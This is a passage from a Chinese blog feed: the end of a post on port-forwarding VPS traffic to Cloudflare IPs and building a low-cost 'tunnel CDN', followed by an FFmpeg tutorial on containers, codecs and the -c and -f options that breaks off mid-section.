&lt;p&gt;iptables gost realm等端口转发工具都支持tcp所有流量中转，nginx四层代理实测可以支持 ssh rdp等tcp流量(可能支持所有tcp流量 我也不太清楚)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;我的vps80端口必须转发到其他IP的80端口吗？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;很明显不，你可以将80转发到81 或者81转发到80，我的示例是同端口转发只是为了方便演示&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;其他人是否可以扫描发现并使用我的反代IP&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;是可以的，或许这篇文章可以帮到：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ni-co.moe&#x2F;public&#x2F;584.html&quot;&gt;通过zmap和zgrab2扫描cloudflare的反向代理 - 矢澤にこ (ni-co.moe)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;反代CF的IP有一个很明显的特征 就是访问其IP 不管是否会报错，响应头的server一定是 &lt;code&gt;cloudflare&lt;&#x2F;code&gt; 这个通过cloudflare的规则也更改不了。扫描这类IP可以通过 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fofa.info&#x2F;&quot;&gt;https:&#x2F;&#x2F;fofa.info&lt;&#x2F;a&gt; ，教程可以参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=NbruiJShUCE&quot;&gt;不良林大佬的教程&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如何设置sni白名单阻止其他人扫到并使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;暂时不清楚。它们扫描一般是根据响应头的 server 为 cloudflare 来判断&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-kuo-zhan&quot;&gt;五、扩展&lt;&#x2F;h2&gt;
&lt;p&gt;除了反代cloudflare的IP，你可以反代任何cdn，不过似乎没啥用用 :)&lt;&#x2F;p&gt;
&lt;p&gt;我尝试过使用端口转发来搭建一个隧道cdn，结果可以用 但还是有细节待完善，这里记录一下&lt;&#x2F;p&gt;
&lt;p&gt;情况是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;我有一台国内vps，但是资源是放在几台国外服务器，我最初想使用国内vps做cdn节点，但很快意识到一个问题，就是我在晚高峰使用iperf3测试国内vps和我三台国外vps的网络速度，结果是cdn节点和我一台机器之间速度很好，但是和其他两台机器之间的网络很差。国内带宽贵 我没法再买一台国内vps 将文件放在上面，另外因为ddcc稳定性的问题 我也没法直接将文件放到这台国内vps上。&lt;&#x2F;p&gt;
&lt;p&gt;最后就是尝试了一些商家，找了一个晚高峰和我国内vps能跑满的机器做cdn后端节点，在国内机器上搭建端口转发程序 转发到这台国外机器上，这样一个隧道cdn就组好了。将域名解析到国内vps的IP 可以正常访问&lt;&#x2F;p&gt;
&lt;p&gt;数据包为 用户 &amp;gt;&amp;gt; 国内vps(iptables转发) &amp;gt;&amp;gt; 国外vps(cdn程序) &amp;gt;&amp;gt;文件服务器&lt;&#x2F;p&gt;
&lt;p&gt;最后感觉这样还有一个优势就是：之前我的cdn节点既要优质线路加速用户访问，又需要较高的配置来运行cdn程序，这往往代价比较高(因为一般优质线路机器配置很低往往只有1核0.5GB内存 加配置要贵很多)。而隧道cdn则解决了这一点，我只需要低配置的优质线路机器来运行iptables中转程序，吃配置的cdn程序等放到一台线路普通的高配置vps上 这样可以节省一部分费用&lt;&#x2F;p&gt;
&lt;p&gt;例如我想使用阿里云的机器，价格如下图。之前我需要花费$19购买2H4G配置来运行cdn 但是我每月仅需要200GB的流量，$19很大部分是流量费用。&lt;&#x2F;p&gt;
&lt;p&gt;现在我只需要购买一台$3.5的最低配机器运行iptables(占用内存低于50MB)将流量无脑中转，再花费€6购买一台普通线路的vps运行cdn程序即可，这样几乎节省了一半的成本。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;有小伙伴可能会疑惑&lt;&#x2F;p&gt;
&lt;p&gt;既然用户访问中转机 那么运行cdn程序的机器就无法实现对访客进行拦截等 cdn防护规则不起作用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;sub&gt;其实不是，因为这两台机器整个才是一个cdn节点或者说运行中转机的机器才是cdn节点，在cdn面板添加cdn节点时 你填写的cdn IP是运行中转程序的IP，而不是运行cdn程序的IP&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我用的是cdnfly，运行cdn机器的文件设置确实无法反馈给中转机，导致无法封禁用户IP 暂时不清楚如何解决(似乎iptables有cc速率限制 但是我不会)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;cdnfly-node-settings.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;cdn-iptables-extension.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liu-za-tan&quot;&gt;六、杂谈&lt;&#x2F;h2&gt;
&lt;p&gt;我不清楚是iptables realm socat gost brook nginx四层转等发哪个占用资源更低，也不清楚不同程序的效率和速度是否有差异，有知道的小伙伴可以评论区留言告诉我，实测iptables占用不超过50MB&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>FFmpeg 视频处理相关合集</title>
        <published>2024-07-01T00:00:00+00:00</published>
        <updated>2024-07-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ffmpeg-视频处理相关合集/"/>
        <id>https://vercel.juzhong.asia/obsidian/ffmpeg-视频处理相关合集/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ffmpeg-视频处理相关合集/">&lt;h2 id=&quot;ffmpegzhuan-ma-chang-yong-rong-qi-bian-ma-ge-shi-yu-jie-bian-ma-qi-de-da-pei-zong-jie-cyu-fcan-shu-de-yun-yong&quot;&gt;ffmpeg转码常用容器、编码格式与解编码器的搭配总结，-c与-f参数的运用&lt;&#x2F;h2&gt;
&lt;h4 id=&quot;zhuan-ma&quot;&gt;转码&lt;&#x2F;h4&gt;
&lt;p&gt;现今常用的一些&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E7%BC%96%E7%A0%81%E6%A0%BC%E5%BC%8F&amp;amp;spm=1001.2101.3001.7020&quot;&gt;编码格式&lt;&#x2F;a&gt;以及它们所支持的容器格式如下：&lt;&#x2F;p&gt;
&lt;p&gt;特别提一点，&lt;strong&gt;mkv是个万能的容器格式，下面说的所有编码格式，mkv几乎都能“装”&lt;&#x2F;strong&gt; ，就不再列出了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;视频编码格式：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=h264&amp;amp;spm=1001.2101.3001.7020&quot;&gt;h264&lt;&#x2F;a&gt;（又称mpeg-4 avc、mpeg-4 part 10）：mp4、flv、avi、mov、wmv、m4v、f4v、3gp、ts&lt;&#x2F;p&gt;
&lt;p&gt;mpeg4（不只一种，这里指mpeg-4 part 2、divx、xvid）：mp4、avi、mov、wmv、m4v、3gp、ts&lt;&#x2F;p&gt;
&lt;p&gt;h265（又称hevc、mpeg-h part 2）：mp4、avi、mov、ts&lt;&#x2F;p&gt;
&lt;p&gt;vp8：avi、wmv、ts、webm&lt;&#x2F;p&gt;
&lt;p&gt;vp9：mp4、avi、wmv、ts、webm&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;音频编码格式：&lt;&#x2F;strong&gt; （【】左边是视频容器格式，【】右边是音频容器格式，*和^后面再说明）&lt;&#x2F;p&gt;
&lt;p&gt;aac：mp4、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=flv&amp;amp;spm=1001.2101.3001.7020&quot;&gt;flv&lt;&#x2F;a&gt;、avi、mov、wmv、3gp、m4v、f4v、ts【】aac、m4a、wma、ac3&lt;&#x2F;p&gt;
&lt;p&gt;mp3：mp4、avi、mov、wmv、f4v、ts【】mp3、wma、ac3&lt;&#x2F;p&gt;
&lt;p&gt;ac-3：mp4、avi*、mov、wmv、m4v、ts【】ac3、m4a、wma&lt;&#x2F;p&gt;
&lt;p&gt;flac：mp4*、avi*、wmv、ts【】flac、m4a、wma、ac3^&lt;&#x2F;p&gt;
&lt;p&gt;vorbis：mp4、avi*、mov、wmv、ts、webm【】ogg、wma、ac3^&lt;&#x2F;p&gt;
&lt;p&gt;opus：mp4*、ts、webm【】ogg、ac3^&lt;&#x2F;p&gt;
&lt;p&gt;（*的意思是需要进一步使用相应参数，小白不建议）&lt;&#x2F;p&gt;
&lt;p&gt;（^的意思是能转码成功，但很可能播放器不能播放）&lt;&#x2F;p&gt;
&lt;p&gt;（一般听感来说，上述中opus编码格式是有损编码里最好的，其次是vorbis，之后是aac、mp3之类）&lt;&#x2F;p&gt;
&lt;p&gt;（ffmpeg似乎不支持ape容器格式）&lt;&#x2F;p&gt;
&lt;p&gt;对新人来说看到这些庞杂的格式可能很懵，通俗说明一下： &lt;strong&gt;“一样容器能装不同菜，一样菜能盛在不同容器”的道理，我们只要找到菜和容器都互相能“接受”的组合就行了。只是视频是一个容器两道菜（画面和声音），音频就一个容器一道菜&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;反之，上面列的这些，也可以理解为视音频容器格式所支持的编码格式。上期说一个视频有画面和声音，那么画和声就有它俩各自的编码格式，所以&lt;strong&gt;对一个现存的视频来说，它的容器格式要同时支持画和声的编码格式；音频就只有声音的编码格式，和它的容器格式互相支持就可以&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这里指出两点前提：以原文件的编码为参考，ffmpeg的支持。&lt;&#x2F;p&gt;
&lt;p&gt;虽然有着许多的格式，但目前大多数视频的编码格式是h264和aac，音频的编码格式是mp3或aac。因此，只要不同的容器格式之间能同时支持一样的编码格式，就能够进行“高效转码”。&lt;&#x2F;p&gt;
&lt;p&gt;例如同时支持h264和aac的有mp4、flv、avi、mov、wmv……满足这个前提后，这些容器两两之间都可以任意“高效转码”。可如果像上期说的，只知道容器格式mp4和flv，并不能直接认为它俩可以用“-c copy”“高效转码”。&lt;&#x2F;p&gt;
&lt;p&gt;对于需要转换编码格式的音视频，用ffmpeg的前提是ffmpeg要能支持我们想转的编码格式。ffmpeg就像一个批发中心，但它的货总归还是有限的。&lt;&#x2F;p&gt;
&lt;p&gt;不过对于无需转换编码格式的情况，即便是ffmpeg不支持的编码格式，也能用“-c copy”复制照抄（例如将原视频转码成mkv，可理解为原视频中的编码格式给ffmpeg提供了个“模板”），但是如果ffmpeg不支持最后输出文件的容器格式的话，就不能这样转码。&lt;&#x2F;p&gt;
&lt;p&gt;除了音视频，ffmpeg还可以转码字幕和图像文件：&lt;&#x2F;p&gt;
&lt;p&gt;（直接按“输入→输出”流程即可，例如ffmpeg -i .\input.png output.jpg）&lt;&#x2F;p&gt;
&lt;p&gt;（srt转码ass要注意srt先以记事本打开，另存为将编码改成UTF-8或unicode）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;字幕容器格式：srt、ass、ssa之间两两任意互转&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;图像容器格式：jpg、jpeg、png、bmp、gif、webp之间两两任意互转&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cyu-fcan-shu-de-yun-yong&quot;&gt;-c与-f参数的运用&lt;&#x2F;h4&gt;
&lt;p&gt;若要转换编码格式，我们将运用“-c”来使用ffmpeg支持的编解码器。&lt;&#x2F;p&gt;
&lt;p&gt;“-c”参数包括了音视频的全部编解码器，所以以前的 &lt;strong&gt;“-c copy”是复制音视频编码的意思&lt;&#x2F;strong&gt;。当然我们也可以直接用“-c copy”转码音频，没有视频也没关系。&lt;&#x2F;p&gt;
&lt;p&gt;要只对视频里的画面或者声音进行操作的话，我们可以用“-c:v”来限定只处理视频画面，“-c:a”来限定只处理视频里的音频声音，“-c:s”来限定只处理字幕。&lt;&#x2F;p&gt;
&lt;p&gt;经常用的比如“-c:v libx264”，表示将编码格式转换成h264；“-c:a libmp3lame”，表示将编码格式转换成mp3。&lt;&#x2F;p&gt;
&lt;p&gt;这里的“libx264”、“libmp3lame”是编码器的名字（文末再说编码器名怎么得知）。简单形象地说，“容器格式、编码格式、编码器”的一个可行搭配是“avi、（h264、mp3）、（libx264、libmp3lame）”。&lt;&#x2F;p&gt;
&lt;p&gt;我们也可以用“-c:v h264”、“-c:a mp3”来进行上述操作，这样的话不用知道编码器名也可以。如下图：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] cmd 执行 ffmpeg -i 1.mp4 -c:v h264 -c:a mp3 1.avi：输入为 B 站下载视频（Bilibili XCode Worker 封装），视频 h264 1920x1080、703kb&#x2F;s、25fps，音频 aac 44100Hz、127kb&#x2F;s；流映射 h264→libx264（High 4.0）、aac→mp3（libmp3lame），输出 3 分钟共 11523kB、码率 524kbits&#x2F;s，speed=2.68x。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;ffmpeg里的“stream”可以理解为“流”、“轨道”、“通道”。红圈里的是编码格式转换的指示说明，从原来的什么转换成什么。例如上图是，视频编码格式从mpeg4转换成h264，视频里的音频编码格式从aac转换成mp3。&lt;&#x2F;p&gt;
&lt;p&gt;我们还可以通过“-f”参数来进行转码。 &lt;strong&gt;“-f”，“format，格式”的意思，强制输出什么格式的文件，让ffmpeg自行挑选编解码器进行转码输出&lt;&#x2F;strong&gt;。但只是一般情况来说，就像前面说过ffmpeg的支持也是有限的，不支持的话当然也转码输出不了。&lt;&#x2F;p&gt;
&lt;p&gt;这个“-f”可以用来“查询”自己想转的容器格式是有什么编码格式或编码器可以支持。它的用法例如“-f webm”。如下图：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] cmd 执行 ffmpeg -i 1.avi -f webm 1.webm：输入 h264 1920x1080、383kb&#x2F;s，mp3 44100Hz、128kb&#x2F;s；流映射 vp9（libvpx-vp9）与 opus（libopus），未指定码率时 vp9 默认 CRF=32；输出 3 分钟共 7460kB、码率 339.3kbits&#x2F;s，speed=0.312x。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这说明vp9和opus是webm容器格式支持的编码格式。&lt;&#x2F;p&gt;
&lt;p&gt;（在一些时候，用“-f”参数转码完的视频质量会不好，这个以后再说）&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhuan-ma-si-lu-liu-cheng&quot;&gt;转码思路流程&lt;&#x2F;h4&gt;
&lt;p&gt;①先用命令行ffprobe .\input.mp4&lt;&#x2F;p&gt;
&lt;p&gt;查看文件的编码格式，如下图：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] cmd 执行 ffprobe 1.flv 查看 B 站下载的 FLV：时长 00:03:00.18、总码率 290 kb&#x2F;s；流 #0:0 为 h264 High 1920x1080、153kb&#x2F;s、25.03fps，流 #0:1 为 aac LC 44100Hz 立体声 128kb&#x2F;s；元数据 datasize 6531983、videosize 2512679、audiosize 2970280、lasttimestamp 180。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;红圈表示该视频的画面（video）编码格式是h264，声音（audio）编码格式是aac&lt;&#x2F;p&gt;
&lt;p&gt;另外，一般查看文件属性也可以知道其编码格式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ffmpeg-collection&#x2F;ffprobe-flv-stream-info.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;②确定自己想转的容器或编码格式&lt;&#x2F;p&gt;
&lt;p&gt;③用“&lt;strong&gt;ffmpeg -formats&lt;&#x2F;strong&gt;”命令行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;查询ffmpeg支持哪些容器格式&lt;&#x2F;strong&gt;。如下图&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] ffmpeg -formats 查看支持的封装格式：D 表示可解封装（Demuxing）、E 表示可封装（Muxing），每行为标志、短名与说明，如 3dostr（3DO STR）、3g2（3GP2）、3gp（3GP）等，截图仅展示列表开头几行。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;demuxing是“解封装”的意思，muxing是“封装”的意思，&lt;&#x2F;p&gt;
&lt;p&gt;就像容器格式又称封装格式&lt;&#x2F;p&gt;
&lt;p&gt;转码也可以看作是封装&lt;&#x2F;p&gt;
&lt;p&gt;解封装就可以看作是转码的相反操作&lt;&#x2F;p&gt;
&lt;p&gt;还有，用“&lt;strong&gt;ffmpeg -codecs&lt;&#x2F;strong&gt;”命令行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;查询ffmpeg支持哪些编码格式及编解码器名&lt;&#x2F;strong&gt;。如下图&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] ffmpeg -codecs 查看编解码器列表：标志含义 D=解码、E=编码、V=视频、A=音频、S=字幕、I=帧内、L=有损、S=无损；列表含 012v、8bps、aasc、apng 等，其中 av1 一行标注 decoders: libdav1d libaom-av1、encoders: libaom-av1（红下划线强调）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;decoder指解码器名，encoder指编码器名，以此类推&lt;&#x2F;p&gt;
&lt;p&gt;④输入相应命令行进行转码&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ffmpeg-wen-jian-ge-shi-feng-zhuang-ge-shi-bian-ma-ffmpeg-zhi-chi-rmvbge-shi&quot;&gt;ffmpeg：文件格式、封装格式、编码_ffmpeg 支持rmvb格式&lt;&#x2F;h2&gt;
&lt;h4 id=&quot;wen-jian-ge-shi&quot;&gt;文件格式&lt;&#x2F;h4&gt;
&lt;p&gt;我们经常看见的视频都是以.mp4 .flv等作为后缀名，这是视频的文件格式。
文件格式的作用是方便系统识别，并关联这些文件，好让相应的文件由相应的程序打开。
这些后缀名可以随便改，不会对文件有任何影响，如果打开出错的话再改回来就行。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;feng-zhuang-ge-shi&quot;&gt;封装格式&lt;&#x2F;h4&gt;
&lt;p&gt;这些视频的后缀其实也叫视频的封装格式，简称视频格式。
&lt;strong&gt;封装：&lt;&#x2F;strong&gt;  后缀名（封装格式&#x2F;文件格式）。所谓封装就是把编码器生成的多媒体文件，如视频，音频，字幕按照一定的标准混合封装在一起。
&lt;strong&gt;容器：&lt;&#x2F;strong&gt;  为多媒体内容提供索引。如果没有容器的话一个视频你只能从头看到尾，没有声音。容器标准由不同的公司制定，有些是兼容的，有些是要改变媒体的编码格式才能转换，一般情况下我们都是选择效率高，兼容性好的容器标准。下面是一些常见的容器标准。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 表格「常用视频格式及对应的文件格式」：AVI→AVI；WMV→WMV；MPEG（分 MPEG-1&#x2F;2&#x2F;4）→MPG、MPEG、VOB、DAT、3GP、MP4；Matroska→MKV；Real Video→RM、RMVB；QuickTime File Format→MOV；Flash Video→FLV。
RMVB：太封闭了，只能用来封装Real video格式的视频
MKV：最开放，几乎支持所有的音视频，但是体积太大了
AVI：有点老旧，已经不太适应最近的媒体文件了
现在比较流行的就是MP4和MOV
MOV：是苹果公司制定的，支持透明的视频
MP4：是当前最主流的视频格式，各种软硬件也都支持的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;一般我们都是把其他格式的视频文件转换成mp4的视频文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;ffmpeg -i input.mov outout.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;【 &lt;strong&gt;-i&lt;&#x2F;strong&gt;】 i是input的缩写，这个指令是指定输入文件的
这句指令就是指：用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=ffmpeg&amp;amp;spm=1001.2101.3001.7020&quot;&gt;ffmpeg&lt;&#x2F;a&gt;把input.mov转换成output.mp4&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bian-ma&quot;&gt;编码&lt;&#x2F;h4&gt;
&lt;p&gt;编码：其实就是压缩，就类似于zip&#x2F;rar。是为了缩小文件体积的，便于传输和存储。
ffmpeg支持很多的编码格式。如果要查看的话就在命令行输入：ffmpeg -codecs（查看编解码器）&lt;&#x2F;p&gt;
&lt;p&gt;常见的几种编码：
mp4封装：H264视频编码+AAC音频编码
WebM封装：VP8视频编码+Vorbis音频编码（谷歌的编码）
OGG封装：Theora视频编码+Vorbis音频编码（开元的）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ffmpeg-ffmpeg-xiang-guan-shu-yu-jian-jie-rong-qi-mei-ti-liu-shu-ju-zheng-shu-ju-bao-bian-jie-ma-qi-fu-yong&quot;&gt;【FFmpeg】FFmpeg 相关术语简介 ( 容器 | 媒体流 | 数据帧 | 数据包 | 编解码器 | 复用&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#1_39&quot;&gt; 1、容器&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#2_57&quot;&gt; 2、媒体流&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#3_70&quot;&gt; 3、数据帧&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#4_82&quot;&gt; 4、数据包&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#5_103&quot;&gt; 5、编解码器&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#6_119&quot;&gt; 6、复用&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.51cto.com&#x2F;u_14202100&#x2F;5081248#7_134&quot;&gt; 7、解复用&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yi-ffmpeg-jian-jie&quot;&gt;一、FFmpeg 简介&lt;&#x2F;h3&gt;
&lt;p&gt;FFmpeg 是 &quot; Fast Forward mpeg &quot; 的缩写 , 其符合 mpeg 视频编码标准 ;&lt;&#x2F;p&gt;
&lt;p&gt;FFmpeg 功能很强大 , 可以对音视频进行 格式转换 , 内容修改 , 等几乎所有涉及音视频的操作 ;&lt;&#x2F;p&gt;
&lt;p&gt;爱奇艺 , 优酷 , YouTube 等公司的音视频产品 , 几乎都是基于 FFmpeg 进行的二次开发 ;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;er-ffmpeg-xiang-guan-shu-yu&quot;&gt;二、FFmpeg 相关术语&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;1-rong-qi&quot;&gt;1、容器&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;容器 Container :&lt;&#x2F;strong&gt;  容器的本质就是文件 , 是特定的视频文件 , 如 mp4 , mkv , flv 等格式的音视频文件 ;&lt;&#x2F;p&gt;
&lt;p&gt;容器的作用 : 容器中可以存放 音频 , 视频 , 字幕流 等信息 , 将这些信息整合在一起 , 按照特定规则放置在容器文件中 ,&lt;&#x2F;p&gt;
&lt;p&gt;使用 MediaInfo 打开一个 mp4 格式的视频文件 , 在 &quot; 容器格式和一般信息 &quot; 一栏中 , 可以看到该 mp4 容器文件中包含了                                    1                              1                  1 个 AVC 视频流 ,                                    1                              1                  1 个 AAC LC 音频流 ;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;ffmpeg-%E8%A7%86%E9%A2%91%E5%A4%84%E7%90%86%E7%9B%B8%E5%85%B3%E5%90%88%E9%9B%86&#x2F;assets&#x2F;11154216_61dd34d8dd08514805-20240701163030-k07a62c-4a861b.webp&quot; alt=&quot;【FFmpeg】FFmpeg 相关术语简介 ( 容器 | 媒体流 | 数据帧 | 数据包 | 编解码器 | 复用 | 解复用 )_数据帧&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;MediaInfo 工具在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;mediaarea.net&#x2F;en&#x2F;MediaInfo&quot;&gt; http:&#x2F;&#x2F;mediaarea.net&#x2F;en&#x2F;MediaInfo&lt;&#x2F;a&gt; 地址下载 , 或本博客的博客资源中下载 ;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-mei-ti-liu&quot;&gt;2、媒体流&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;媒体流 ( Stream ) :&lt;&#x2F;strong&gt;  时间上的一段连续数据 , 一段声音数据 称为 音频流 , 一段视频数据 称为 视频流 , 一段字幕数据 称为 字幕流 ;&lt;&#x2F;p&gt;
&lt;p&gt;这些媒体流数据 可以压缩 , 也可以不压缩 , 如视频流以 H.264 格式进行压缩 , 将视频帧编码成 关键帧 , 非关键帧 , 音频流一般是 AAC 编码格式进行压缩 ;&lt;&#x2F;p&gt;
&lt;p&gt;媒体流如果是压缩的 , 在播放时 , 先使用解码器解码 , 然后再播放 ; 生成文件时需要使用编码器 , 编码后存储到文件中 ;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-shu-ju-zheng&quot;&gt;3、数据帧&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;数据帧 ( Data Frame ) :&lt;&#x2F;strong&gt;  媒体流 由 若干 数据帧构成 ; 压缩格式中 , 数据帧是最小的处理单元 ;&lt;&#x2F;p&gt;
&lt;p&gt;在容器中如果有多个数据流 , 那么 视频帧 , 音频帧 , 字幕信息 , 交错存储 , 以保证实时性 ;&lt;&#x2F;p&gt;
&lt;p&gt;数据帧是未压缩的原始数据 , 如 : 视频帧每一帧都是一张完整的 YUV 图片 , 音频帧是 PCM 格式的 ;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-shu-ju-bao&quot;&gt;4、数据包&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;数据包 ( Data Packet ) :&lt;&#x2F;strong&gt;  将 数据帧 压缩后就是 数据包 , 数据帧是未压缩的原始数据 , 数据包时压缩后的数据 ;&lt;&#x2F;p&gt;
&lt;p&gt;生成容器文件时 , 压缩数据 , 将数据帧 编码压缩 成 数据包 ;&lt;&#x2F;p&gt;
&lt;p&gt;播放容器文件时 , 解压数据 , 将数据包 解码展开 成 数据帧 ;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;视频编码过程 :&lt;&#x2F;strong&gt;  YUV 格式的图像 -&amp;gt; H.264 编码器编码 -&amp;gt; H.264 视频帧&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;视频解码过程 :&lt;&#x2F;strong&gt;  H.264 视频帧 -&amp;gt; H.264 解码器解码 -&amp;gt; YUV 格式的图像&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;音频数据编码过程 :&lt;&#x2F;strong&gt;  PCM 音频数据 -&amp;gt; ACC 编码器编码 -&amp;gt; AAC 音频帧&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;音频数据解码过程 :&lt;&#x2F;strong&gt;  AAC 音频帧 -&amp;gt; AAC 解码器解码 -&amp;gt; PCM 音频数据&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-bian-jie-ma-qi&quot;&gt;5、编解码器&lt;&#x2F;h3&gt;
